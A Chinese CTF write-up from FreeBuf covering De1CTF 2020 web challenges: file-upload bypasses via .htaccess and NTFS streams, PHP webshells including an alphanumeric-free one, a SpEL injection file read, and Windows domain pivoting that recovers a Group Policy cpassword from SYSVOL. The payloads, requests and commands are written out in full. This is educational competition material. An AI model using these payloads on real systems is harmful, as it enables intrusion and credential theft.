freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课
报告 专辑
行业服务
政 府
CNCERT CNNVD
会员体系（甲方） 会员体系（厂商） 产品名录 企业空间
知识大陆

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

De1CTF2020的Web部分题解

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

De1CTF2020的Web部分题解
蚁景科技 2020-05-08 11:35:22 189344
所属地 湖南省

作者：L's合天智汇

前言

题目质量很好，虽然很难但是学到不少东西！

0x01 check in

打开题目页面如下：

v2-c304968f6bfb4c1b7e052758a0e8c6fe_720w

题目是一个文件上传挑战，于是先上传一个.php后缀的文件先式式，不出意料失败，那么我们就上传一张.jpg的图片试试，结果如下：

perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet in contents!

大概的意思就是过滤了这些perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet字符，而且我们上传的图片不能解析，因此我们可以上传一个.htaccess，添加其他后缀名解析为.php文件。如：AddType application/x-httpd-php shell.ppt。不过由于php字符串的过滤我们上传的文件不能包含php，因此我们上传的.httacess文件中的php可以用换行符绕过，对于上传了的shell.ppt文件，如果该php开启了短标签我们可以用短标签<?=来代替<?php，下面我们就来尝试一下：

POST /index.php HTTP/1.1
Host: 129.204.21.115
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------279095805311502314111982965121
Content-Length: 384
Origin: http://129.204.21.115
Connection: close
Referer: http://129.204.21.115/index.php
Upgrade-Insecure-Requests: 1

-----------------------------279095805311502314111982965121
Content-Disposition: form-data; name="fileUpload"; filename=".htaccess"
Content-Type: image/jpeg

AddType application/x-httpd-p\
hp .ppt
-----------------------------279095805311502314111982965121
Content-Disposition: form-data; name="upload"

submit
-----------------------------279095805311502314111982965121--

结果如下：

HTTP/1.1 200 OK
Date: Mon, 04 May 2020 08:45:52 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Content-Length: 1027
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Cheek in</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" type="text/css" href="style/css/style1.css">
    <link rel="stylesheet" type="text/css" href="style/css/style2.css">
</head>
<body>
<div class="wrap">
    <div class="container">
        <h1 style="color: white; margin: 0; text-align: center">UPLOADS</h1>
        <form action="index.php" method="post" enctype="multipart/form-data">
        <input class="wd" type="file" name="fileUpload" id="file"><br>
        <input class="wd" type="submit" name="upload" value="submit">
            <p class="change_link" style="text-align: center">
            <strong></strong>
            </br>
            <strong>Your files :.htaccess<br></strong>
            </br>
            <strong>Your dir : uploads/001149b089f853aad2bda9214b94fb21 <br></strong>
            </p>
        </form>
    </div>
</div>
</body>
</html>

上传shell.ppt:

POST /index.php HTTP/1.1
Host: 129.204.21.115
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------279095805311502314111982965121
Content-Length: 376
Origin: http://129.204.21.115
Connection: close
Referer: http://129.204.21.115/index.php
Upgrade-Insecure-Requests: 1

-----------------------------279095805311502314111982965121
Content-Disposition: form-data; name="fileUpload"; filename="shell.ppt"
Content-Type: image/jpeg

GIF89a
<?=system('cat /flag');
-----------------------------279095805311502314111982965121
Content-Disposition: form-data; name="upload"

submit
-----------------------------279095805311502314111982965121--

结果如下：

HTTP/1.1 200 OK
Date: Mon, 04 May 2020 08:46:10 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Content-Length: 1027
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Cheek in</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" type="text/css" href="style/css/style1.css">
    <link rel="stylesheet" type="text/css" href="style/css/style2.css">
</head>
<body>
<div class="wrap">
    <div class="container">
        <h1 style="color: white; margin: 0; text-align: center">UPLOADS</h1>
        <form action="index.php" method="post" enctype="multipart/form-data">
        <input class="wd" type="file" name="fileUpload" id="file"><br>
        <input class="wd" type="submit" name="upload" value="submit">
            <p class="change_link" style="text-align: center">
            <strong></strong>
            </br>
            <strong>Your files :shell.ppt<br></strong>
            </br>
            <strong>Your dir : uploads/001149b089f853aad2bda9214b94fb21 <br></strong>
            </p>
        </form>
    </div>
</div>
</body>
</html>

直接访问http://129.204.21.115/uploads/001149b089f853aad2bda9214b94fb21/shell.ppt得到flag：

De1ctf{cG1_cG1_cg1_857_857_cgll111ll11lll}

0x02 calc

题目打开是一个计算器，从打开的tab来看是一个使用spring boot框架的web项目。

v2-486705af377e9e09ea1bf3bd8ccf4876_720w

通过抓包发现该GET /spel/calc?calc=%7b%7b7*7%7d%7d路由下存在SPEL注入，结果如下：

v2-8cbfa141b829fa3c19af1cef928c12d4_720w

可以发现计算的结果是[[49]]，因此存在注入。

通过测试发现，过滤了Runtime,java.lang,getClass,T(,new等，对于new我们可以用neW来代替，但是由于过滤了前面的字符我们不能够进行rce了但是我们可以用其他的方式读取文件。

使用的类参考链接如下：https://blog.csdn.net/yiyiwudian/article/details/46522415。

根据参考资料我们可以用java.util.Scanner来读取文件。payload如下：

neW Scanner(neW java.io.FileInputStream(neW java.io.File("/flag"))).nextLine()

最后的结果如下：

v2-86c6863522c80755e6c133ebe9be0b0b_720w

0x03 Hard_Pentest_1

题目源码如下：

<?php//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if($_POST["submit"]){
    if (($_FILES["file"]["size"] < 2048) && Check()){
        if ($_FILES["file"]["error"] > 0){
            die($_FILES["file"]["error"]);
        }
        else{
            $filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
            move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
            echo "save in:" . $sandbox."/" . $filename;
        }
    }
    else{
        echo "Not Allow!";
    }
}

function Check(){
    $BlackExts = array("php");
    $ext = explode(".", $_FILES["file"]["name"]);
    $exts = trim(end($ext));
    $file_content = file_get_contents($_FILES["file"]["tmp_name"]);

    if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content)  && 
        !in_array($exts, $BlackExts) && 
        !preg_match('/\.\./',$_FILES["file"]["name"])) {
          return true;
    }
    return false;
}
?>

<html>
<head>
<meta charset="utf-8">
<title>upload</title>
</head>
<body>

<form action="index.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="submit">
</form>

</body>
</html>

由于Check()函数的过滤，我们不能使用普通的字符，并且不能上传后缀为.php的文件，不过由于服务器是windows因此我们可以通过NTFS流的方式绕过后缀名的限制::$DATA，例如下面的文件名：

test.php::$DATA

参考无字母数字webshell之提高篇来构造我们的无字母的shell。

<?=$_=[]?><?=$_=@"$_"?>
<?= $_=$_['!'=='@']?>
<?=$__=$_?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$___=$__?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$___.=$__?>
<?=$__=$_?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$___.=$__?>
<?=$__++?>
<?=$___.=$__?>
<?=$__=$_?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$___.=$__?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$___.=$__?>
<?=$____='_'?>
<?=$__=$_?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$____.=$__?>
<?=$__=$_?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$____.=$__?>
<?=$__=$_?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?= $____.=$__?>
<?=$__=$_?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$____.=$__?>
<?=$_=$$____?>
<?=$___($_[_])?>

上传我们的代码：

v2-def5edd96dfba0d6c04a5d***aa2168c_720w

成功getshell：

v2-b33c662fa7385ddd0dda6a0b2ce243b0_720w

通过system写入一个一句话木马，例如：

v2-e540bfa19373f1459ef6c33c77d733a1_720w

现在我们使用御剑来连接我们的shell，密码是a。

在御剑中打开文件管理，可以看到flag是在flag1_and_flag2hint压缩包里，但是我们没有密码，而且爆破是不成功的，因此我们考虑windows渗透：

1.我们查看我们所在的域net time /domain，结果如下：

v2-edfb123848724529a646e48abd45722e_720w

从上面的结果中可以看到我们所在的域是dc.De1CTF2020.lab。

2.使用ipconfig命令来查看域控：

v2-f5656387078f46cb4602a3d1474a56bf_720w

从上面的结果来看我们的域控是192.168.0.12。

3.拿到域控的共享文件夹，找到组策略。

net use \\192.168.0.12
net view \\192.168.0.12
net use S:\\192.168.0.12\wq
回车后即可映射局域网内目标机器的S盘。
或者直接访问net use \\192.168.0.12\SYSVOL\de1ctf2020.lab\Policies也行随你高兴

结果如下：

v2-792cca856988fa27408cd74a7b3e251f_720w

4.找到组策略下本地管理员保存登陆密码的Groups.xml文件：

<?xml version="1.0" encoding="utf-8"?><Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="HintZip_Pass" image="2" changed="2020-04-15 14:43:23" uid="{D33537C1-0BDB-44B7-8628-A6030A298430}"><Properties action="U" newName="" fullName="" description="" cpassword="uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08" changeLogon="1" noChange="0" neverExpires="0" acctDisabled="0" userName="HintZip_Pass"/></User>
</Groups>

该密码是AES-256加密，微软提供了密钥https://msdn.microsoft.com/en-us/library/cc422924.aspx，直接解开即可，或者使用kail自带的gpp-decrypt解密，结果如下：

v2-0826d92a65dc146841b5d9ffc8c89d7b_720w

5.解压压缩包拿到flag:

flag1: De1CTF{GpP_11Is_SoOOO_Ea3333y}

Get flag2 Hint:
hint1: You need De1ta user to get flag2
hint2: De1ta user's password length is 1-8, and the password is composed of [0-9a-f].
hint3: Pay attention to the extended rights of De1ta user on the domain.
hint4: flag2 in Domain Controller (C:\Users\Administrator\Desktop\flag.txt)

PS: Please do not damage the environment after getting permission, thanks QAQ.

0x04 参考链接

https://thief.one/2016/09/22/%E4%B8%8A%E4%BC%A0%E6%9C%A8%E9%A9%AC%E5%A7%BF%E5%8A%BF%E6%B1%87%E6%80%BB-%E6%AC%A2%E8%BF%8E%E8%A1%A5%E5%85%85/

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

御剑使用方法

域渗透——利用SYSVOL还原组策略中保存的密码

DOS下访问局域网内共享文件夹

https://zhuanlan.zhihu.com/p/26781760

Windows域环境及域渗透

https://github.com/l3m0n/pentest_study

渗透测试训练营

v2-4a668c44d40adaa17373f764730f13de_720w

声明：笔者初衷用于分享与普及网络知识，若读者因此作出任何危害网络安全行为后果自负，与合天智汇及原作者无关！

# CTF
本文为 蚁景科技 独立观点，未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件，请联系 FreeBuf 客服小蜜蜂（微信：freebee1024）
被以下专辑收录，发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
渗透测试和实践
相关推荐
2020-CSR-CTF-Web-复盘以及分析
2020-CSR-CTF-Web-复盘以及分析

网络安全

本文首发于“合天网安实验室”作者：landvsec本文涉及靶场知识点练习：CTF实验室CTF从入门到实践-CTF一站式学习平台-合天网安实验...

蚁景科技

435690围观 2020-12-08

2020极客大挑战web题部分wp
2020极客大挑战web题部分wp

极客

可能起点不同吧，对于萌新(我)来说确实是难了点。web1 welcome进去是个空白页面，以post方式提交数据，就会看到

小奇点

408948围观 2020-11-17

CTF现代密码
CTF现代密码

网络安全

在CTF的密码题目中，RSA以其加密算法之多且应用之广泛，所以在比赛中是最常见的题目。

蚁景科技

271589围观  · 210收藏  · 16喜欢 2020-11-17

HDCTF-2nd复盘
HDCTF-2nd复盘

网络安全

本文首发于“合天网安实验室”作者： 淡灬看夏丶恋雨海南大学校内赛。国庆打的，之前没时间复现。校外人水了个纪念品。感谢Gamous不舍赐教。感...

蚁景科技

286860围观 2020-11-16

记一题关于JWT的CTF（hackergame 普通的身份认证器） 金币
记一题关于JWT的CTF（hackergame 普通的身份认证器）

Web安全

一道关于jwt的ctf。

FreeBuf_355336

351703围观  · 24喜欢 2020-11-12

蚁景科技 LV.9
湖南蚁景科技有限公司主要从事在线教育平台技术研究及网络培训产品研发，专注网络空间安全实用型人才培养，全面提升用户动手实践能力。
  • 904 文章数
  • 669 关注者
ApoorvCTF Rust语言逆向实战
2025-03-07
给大模型通过RAG挂上知识库
2025-02-28
安全测试中的js逆向实战
2025-02-26